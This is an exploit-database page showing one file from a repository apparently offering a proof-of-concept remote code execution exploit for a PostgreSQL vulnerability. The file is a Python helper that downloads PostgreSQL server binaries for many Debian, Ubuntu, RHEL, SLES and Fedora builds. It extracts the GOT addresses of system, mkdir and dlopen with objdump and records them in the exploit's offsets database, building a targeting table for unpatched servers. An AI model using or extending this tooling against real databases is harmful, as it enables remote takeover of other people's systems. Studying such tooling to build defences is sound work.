Exploit database

GH-09cba6a5f8d912fd607bef11f52447fb

gabrielunknown/cve-2026-6460_postgresql_rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-6460

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/extract_got_offsets.py

Python · 18,836 bytes
#!/usr/bin/env python3
"""
extract_got_offsets.py — Extrai system_got / mkdir_got / dlopen_got de cada
binário postgres e atualiza offsets_db.py.

Fontes:
  1. Binários RPM locais em /tmp/pg_rpm_extract/extracted/
  2. Binários DEB no container Docker rodando (pgcve_manual18)
  3. Pacotes .deb baixados de apt.postgresql.org (para versões não disponíveis)
  4. Binários Fedora baixados de download.postgresql.org (RPM)
---
Extracts system_got / mkdir_got / dlopen_got offsets from each postgres binary
and writes them back into offsets_db.py.

Sources:
  1. Local RPM binaries at /tmp/pg_rpm_extract/extracted/
  2. DEB binaries inside a running Docker container (pgcve_manual18)
  3. .deb packages downloaded from apt.postgresql.org (unavailable versions)
  4. Fedora binaries downloaded from download.postgresql.org (RPM)
"""
from __future__ import annotations
import ast, re, subprocess, sys, os, urllib.request, hashlib, shutil as _shutil, tempfile
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed

SCRIPT_DIR = Path(__file__).parent.resolve()
OFFSETS_DB  = SCRIPT_DIR.parent / "offsets_db.py"
DL_DIR      = Path("/tmp/pg_deb_binaries")
DL_DIR.mkdir(exist_ok=True)

# ── 1. Parsear offsets_db.py para saber quais entradas precisam de GOT ─────────
# /  1. Parse offsets_db.py to identify entries that are still missing GOT offsets

def load_entries() -> dict:
    """Lê offsets_db.py como texto e extrai o dicionário OFFSETS.
    / Reads offsets_db.py as text and extracts the OFFSETS dictionary."""
    code = OFFSETS_DB.read_text()
    # Encontrar a dict OFFSETS = { ... }
    # / Locate the OFFSETS = { ... } dict definition in the source text
    m = re.search(r'^OFFSETS\s*=\s*\{', code, re.MULTILINE)
    if not m:
        raise RuntimeError("OFFSETS = { not found in offsets_db.py")
    # exec parcial para obter o dict / partial exec to extract the dict
    ns = {}
    exec(code, ns)
    return ns["OFFSETS"]

# ── 2. Extratores de GOT offsets via objdump ─────────────────────────────────
# /  2. GOT offset extractors via objdump

FUNCS = ["system", "mkdir", "dlopen"]

def extract_got(binary: Path) -> dict:
    """Roda objdump -d sobre o binário e retorna dict {func_got: int}.
    / Runs objdump -d on the binary and returns dict {func_got: int}."""
    try:
        out = subprocess.check_output(
            ["objdump", "-d", str(binary)],
            stderr=subprocess.DEVNULL,
            timeout=120
        ).decode(errors="replace")
    except Exception as e:
        print(f"  [!] objdump failed on {binary}: {e}")
        return {}

    result = {}
    for func in FUNCS:
        # Padrão: `ADDR <func@plt>:\n  ADDR: ff 25 ... jmp ...  # GOT_ADDR <func@GLIBC...>`
        # / Pattern: `ADDR <func@plt>:\n  ADDR: ff 25 ... jmp ...  # GOT_ADDR <func@GLIBC...>`
        pat = rf'[0-9a-f]+ <{re.escape(func)}@plt>:.*?\n\s+([0-9a-f]+):.*?jmp.*?#\s+([0-9a-f]+)'
        m = re.search(pat, out, re.DOTALL)
        if m:
            got_val = int(m.group(2), 16)
            result[f"{func}_got"] = got_val
    return result

# ── 3. Mapeamento chave → binário local (RPM) ────────────────────────────────
# /  3. Key → local binary mapping (RPM distros)

RPM_EXTRACT = Path("/tmp/pg_rpm_extract/extracted")

def find_local_rpm(key: str) -> Path | None:
    """Devolve caminho do binário RPM para a chave 'VER:Distro' se disponível.
    / Returns the RPM binary path for the 'VER:Distro' key if available locally."""
    parts = key.split(":")
    if len(parts) != 2:
        return None
    ver, distro = parts
    major = ver.split(".")[0]
    minor_full = ver  # e.g. "18.6"

    # Distro tags
    if distro == "RHEL-8":
        tag = "rhel8"
    elif distro == "SLES-15":
        tag = "sles15"
    else:
        return None

    pattern = f"postgresql{major}-server-{minor_full}-*PGDG.{tag}*"
    matches = list(RPM_EXTRACT.glob(f"{pattern}/usr/pgsql-{major}/bin/postgres"))
    if matches:
        return matches[0]
    return None

# ── 4. Mapeamento chave → URL .deb ───────────────────────────────────────────
# /  4. Key → .deb download URL mapping

POOL_BASE  = "https://apt.postgresql.org/pub/repos/apt/pool/main/p"
_pool_cache: dict[str, str] = {}   # major → pool HTML listing

def _pool_listing(major: str) -> str:
    """Baixa (e caches) a listagem HTML do pool para postgresql-{major}.
    / Downloads (and caches) the HTML pool listing for postgresql-{major}."""
    if major not in _pool_cache:
        url = f"{POOL_BASE}/postgresql-{major}/"
        try:
            with urllib.request.urlopen(url, timeout=30) as r:
                _pool_cache[major] = r.read().decode(errors="replace")
        except Exception:
            _pool_cache[major] = ""
    return _pool_cache[major]

PGDG_DISTRO_MAP = {
    "Debian-12":    "pgdg12",
    "Debian-13":    "pgdg13",
    "Debian-14":    "pgdg14",
    "Ubuntu-22.04": "pgdg22.04",
    "Ubuntu-24.04": "pgdg24.04",
    "Ubuntu-26.04": "pgdg26.04",
    "Ubuntu-26.10": "pgdg26.10",
}

def find_deb_filename(major: str, minor: str, pgdg_tag: str) -> str | None:
    """Encontra o filename exato no pool para (major, minor, pgdg_tag).
    / Finds the exact filename in the pool for (major, minor, pgdg_tag)."""
    html = _pool_listing(major)
    if not html:
        return None
    # Procura: postgresql-{major}_{minor}-N.{pgdg_tag}+M_amd64.deb
    # Sem %2B (versões sem encode)
    pat = (rf'postgresql-{re.escape(major)}_'
           rf'{re.escape(minor)}-\d+\.{re.escape(pgdg_tag)}\+\d+_amd64\.deb')
    matches = re.findall(pat, html)
    if not matches:
        return None
    return sorted(matches, key=lambda s: int(s.rsplit('+', 1)[-1].split('_')[0]))[-1]

def deb_binary(key: str) -> Path | None:
    """Baixa .deb e extrai o binário postgres se ainda não em cache.
    / Downloads .deb and extracts the postgres binary if not already cached."""
    parts = key.split(":")
    if len(parts) != 2:
        return None
    ver, distro_tag = parts
    if distro_tag not in PGDG_DISTRO_MAP:
        return None

    major     = ver.split(".")[0]
    pgdg_tag  = PGDG_DISTRO_MAP[distro_tag]
    cache_path = DL_DIR / f"postgres_{key.replace(':', '_').replace('.', '_')}"
    if cache_path.exists() and cache_path.stat().st_size > 500_000:
        return cache_path

    # 18.4 não está no pool — usar o binário de 18.6 para o mesmo distro (mesmo GOT)
    # / 18.4 is not in the pool — reuse the 18.6 binary for the same distro (identical GOT layout)
    minor = ver
    if ver == "18.4":
        minor = "18.6"
        alt_cache = DL_DIR / f"postgres_18_6_{distro_tag.replace('-', '_').replace('.', '_')}"
        if alt_cache.exists():
            if cache_path.is_symlink() or cache_path.exists():
                cache_path.unlink(missing_ok=True)
            cache_path.symlink_to(alt_cache.resolve())
            return alt_cache

    filename = find_deb_filename(major, minor, pgdg_tag)
    if not filename:
        print(f"  [!] Not found in pool: {major} / {minor} / {pgdg_tag}")
        return None

    url = f"{POOL_BASE}/postgresql-{major}/{filename}"
    print(f"  [~] Downloading {filename}")
    deb_file = DL_DIR / f"tmp_{hashlib.md5(url.encode()).hexdigest()}.deb"
    try:
        urllib.request.urlretrieve(url, deb_file)
    except Exception as e:
        print(f"  [!] Download failed: {filename}: {e}")
        return None

    ext_dir = DL_DIR / f"extract_{hashlib.md5(url.encode()).hexdigest()}"
    if ext_dir.exists():
        _shutil.rmtree(ext_dir)
    ext_dir.mkdir()
    try:
        subprocess.check_call(
            ["dpkg-deb", "-x", str(deb_file), str(ext_dir)],
            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
            timeout=60
        )
    except Exception as e:
        print(f"  [!] dpkg-deb failed: {e}")
        deb_file.unlink(missing_ok=True)
        return None

    binary = ext_dir / f"usr/lib/postgresql/{major}/bin/postgres"
    if not binary.exists():
        print(f"  [!] Binary not found at {binary}")
        _shutil.rmtree(ext_dir, ignore_errors=True)
        deb_file.unlink(missing_ok=True)
        return None

    # Copiar binário para cache (cópia real, permite limpar ext_dir)
    # / Copy binary to cache as a real file so the extraction dir can be removed
    _shutil.copy2(binary, cache_path)
    # Limpar ext_dir e deb para liberar disco
    # / Remove extraction dir and downloaded .deb to reclaim disk space
    _shutil.rmtree(ext_dir, ignore_errors=True)
    deb_file.unlink(missing_ok=True)

    # Para 18.4: o binário é idêntico ao 18.6 (mesmo GOT)
    if ver == "18.4":
        alt_cache = DL_DIR / f"postgres_18_6_{distro_tag.replace('-', '_').replace('.', '_')}"
        if not alt_cache.exists():
            _shutil.copy2(cache_path, alt_cache)
    return cache_path

# ── 5. Fedora RPM download ────────────────────────────────────────────────────
# /  5. Fedora RPM download and binary extraction

FEDORA_BASE = "https://download.postgresql.org/pub/repos/yum/stable/fedora"

def fedora_rpm_url(key: str) -> str | None:
    ver, distro_tag = key.split(":") if ":" in key else (key, "")
    major = ver.split(".")[0]
    minor = ver

    fedora_ver_map = {"Fedora-44": "44", "Fedora-45": "45"}
    if distro_tag not in fedora_ver_map:
        return None
    fc = fedora_ver_map[distro_tag]

    # Pattern: postgresql{M}-server-{ver}-1.fc{fc}.x86_64.rpm
    # fedora_binary() retries n=1,2,3 itself
    url = (f"{FEDORA_BASE}/fedora-{fc}-x86_64/"
           f"postgresql{major}-server-{minor}-1.fc{fc}.x86_64.rpm")
    return url

def fedora_binary(key: str) -> Path | None:
    """Baixa RPM Fedora e extrai o binário postgres.
    / Downloads Fedora RPM and extracts the postgres binary."""
    url = fedora_rpm_url(key)
    if not url:
        return None

    ver, distro_tag = key.split(":")
    major = ver.split(".")[0]
    cache_path = DL_DIR / f"postgres_{key.replace(':', '_').replace('.', '_')}"
    if cache_path.exists() and cache_path.stat().st_size > 500_000:
        return cache_path

    fc = distro_tag.split("-")[1]
    rpm_file = DL_DIR / f"tmp_{hashlib.md5(url.encode()).hexdigest()}.rpm"

    for n in ("1", "2", "3"):
        try_url = (f"{FEDORA_BASE}/fedora-{fc}-x86_64/"
                   f"postgresql{major}-server-{ver}-{n}.fc{fc}.x86_64.rpm")
        print(f"  [~] Trying {try_url}")
        try:
            urllib.request.urlretrieve(try_url, rpm_file)
            break
        except Exception:
            continue
    else:
        print(f"  [!] Fedora RPM not found: {key}")
        return None

    ext_dir = DL_DIR / f"extract_{hashlib.md5(url.encode()).hexdigest()}"
    if ext_dir.exists():
        _shutil.rmtree(ext_dir)
    ext_dir.mkdir()
    try:
        subprocess.check_call(
            f"cd {ext_dir} && rpm2cpio {rpm_file} | cpio -idmv 2>/dev/null",
            shell=True, timeout=60
        )
    except Exception as e:
        print(f"  [!] rpm2cpio failed: {e}")
        rpm_file.unlink(missing_ok=True)
        _shutil.rmtree(ext_dir, ignore_errors=True)
        return None

    binary = ext_dir / f"usr/pgsql-{major}/bin/postgres"
    if not binary.exists():
        print(f"  [!] Fedora binary not found at {binary}")
        rpm_file.unlink(missing_ok=True)
        _shutil.rmtree(ext_dir, ignore_errors=True)
        return None

    _shutil.copy2(str(binary), str(cache_path))
    rpm_file.unlink(missing_ok=True)
    _shutil.rmtree(ext_dir, ignore_errors=True)
    return cache_path

# ── 6. Obter binário para uma chave ──────────────────────────────────────────
# /  6. Resolve the postgres binary path for a given offsets_db key

def get_binary(key: str, entry: dict) -> Path | None:
    """Retorna o caminho do binário postgres para a chave.
    / Returns the postgres binary path for the given key."""
    # 1. RPM local (RHEL-8, SLES-15)
    p = find_local_rpm(key)
    if p and p.exists():
        return p

    ver, distro_tag = key.split(":") if ":" in key else (key, "")

    # 2. Container Docker rodando (apenas 18.6:Debian-13 no pgcve_manual18)
    # / 2. Running Docker container (only 18.6:Debian-13 in pgcve_manual18)
    if key == "18.6:Debian-13":
        major = ver.split(".")[0]
        # Copiar binário do container
        cp_path = DL_DIR / f"postgres_{key.replace(':', '_').replace('.', '_')}"
        if not cp_path.exists():
            try:
                subprocess.check_call(
                    f"docker cp pgcve_manual18:/usr/lib/postgresql/{major}/bin/postgres {cp_path}",
                    shell=True, stderr=subprocess.DEVNULL
                )
            except Exception:
                pass
        if cp_path.exists():
            return cp_path

    # 3. DEB download
    if any(d in distro_tag for d in ["Debian", "Ubuntu"]):
        p = deb_binary(key)
        if p and p.exists():
            return p

    # 4. Fedora RPM
    if "Fedora" in distro_tag:
        p = fedora_binary(key)
        if p and p.exists():
            return p

    return None

# ── 7. Atualizar offsets_db.py ────────────────────────────────────────────────
# /  7. Write extracted GOT offsets back into offsets_db.py

def update_offsets_db(got_map: dict[str, dict]):
    """
    got_map: { "18.6:Debian-13": {"system_got": 0x..., ...}, ... }
    Atualiza offsets_db.py inserindo os campos faltantes em cada entrada.
    / Updates offsets_db.py by inserting missing fields into each entry.
    """
    code = OFFSETS_DB.read_text()
    changes = 0

    for key, got_offsets in got_map.items():
        if not got_offsets:
            continue

        # Encontrar o bloco da chave
        # / Find the dict entry block for this key
        escaped_key = re.escape(key)
        # Match: "18.6:Debian-13": {
        block_re = rf'("{escaped_key}"\s*:\s*\{{[^}}]*\}})'
        m = re.search(block_re, code, re.DOTALL)
        if not m:
            print(f"  [!] Key '{key}' not found in offsets_db.py")
            continue

        block = m.group(1)

        # Montar todas as inserções de uma vez para evitar overwrites
        # / Build all insertions at once to avoid partial-overwrite issues
        to_insert = []
        for field, val in got_offsets.items():
            if not re.search(rf'"{re.escape(field)}"\s*:', block):
                to_insert.append(f'        "{field}":    0x{val:09x},')

        if not to_insert:
            continue

        insert_text = "\n".join(to_insert)
        new_block = re.sub(r'(\s*\})\s*$',
                           f'\n{insert_text}\n    }}',
                           block.rstrip())
        code = code[:m.start()] + new_block + code[m.end():]
        changes += len(to_insert)

    if changes:
        OFFSETS_DB.write_text(code)
        print(f"[+] offsets_db.py updated: {changes} fields added")
    else:
        print("[=] No changes needed in offsets_db.py")

# ── 8. Main ───────────────────────────────────────────────────────────────────
# /  8. Entry point: load matrix, extract, update

def main():
    entries = load_entries()

    # Apenas entradas não-patcheadas (ignorar entradas None)
    # / Only unpatched entries (skip None placeholders and already-patched versions)
    todo = {k: v for k, v in entries.items()
            if v and not v.get("patched", True) and ":" in k}

    print(f"[*] {len(todo)} unpatched entries to process")

    # Verificar quais já têm system_got
    # / Check which entries already have system_got recorded
    need = {k: v for k, v in todo.items() if v.get("system_got") is None}
    already = len(todo) - len(need)
    print(f"[*] {already} already have GOT offsets; {len(need)} missing")

    if not need:
        print("[+] All GOT offsets already present!")
        return

    # Extrair GOT offsets — sequencial para controlar uso de disco
    # / Extract GOT offsets — sequential to control disk usage
    got_map: dict[str, dict] = {}
    errors: list[str] = []

    def process_key(key: str, entry: dict) -> tuple[str, dict]:
        binary = get_binary(key, entry)
        if not binary:
            return key, {}
        print(f"  [*] {key}: objdump...")
        offsets = extract_got(binary)
        if offsets:
            pie = entry.get("pie", True)
            type_str = "PIE" if pie else "non-PIE"
            print(f"  [+] {key}: system_got=0x{offsets.get('system_got',0):x} "
                  f"mkdir_got=0x{offsets.get('mkdir_got',0):x} ({type_str})")
        else:
            print(f"  [!] {key}: no GOT offsets extracted")
        return key, offsets

    # Separar RPM (rápido, local) de DEB (download necessário)
    # / Split into RPM keys (fast, already local) and DEB keys (need download)
    rpm_keys  = [(k, v) for k, v in need.items()
                 if any(d in k for d in [":RHEL-8", ":SLES-15", ":AmazonLinux"])]
    deb_keys  = [(k, v) for k, v in need.items() if k not in dict(rpm_keys)]

    # RPM em paralelo (binários já locais, sem download)
    # / Process RPM binaries in parallel — they are already on disk, no network needed
    max_workers = min(4, len(rpm_keys)) if rpm_keys else 1
    with ThreadPoolExecutor(max_workers=max_workers) as ex:
        futures = {ex.submit(process_key, k, v): k for k, v in rpm_keys}
        for fut in as_completed(futures):
            k, offsets = fut.result()
            if offsets:
                got_map[k] = offsets
            else:
                errors.append(k)

    # DEB sequencial (download + extrair + limpar por vez)
    # / Process DEB binaries sequentially — download + extract + clean one at a time (disk space)
    for k, v in deb_keys:
        _, offsets = process_key(k, v)
        if offsets:
            got_map[k] = offsets
        else:
            errors.append(k)

    print(f"\n[*] GOT extracted for {len(got_map)} entries; {len(errors)} failures")
    if errors:
        print(f"[!] Failures: {errors}")

    if got_map:
        update_offsets_db(got_map)

    print("\n[*] Final summary:")
    for k in sorted(need.keys()):
        status = "[+] OK" if k in got_map else "[!] FAILED"
        print(f"  {status}: {k}")


if __name__ == "__main__":
    main()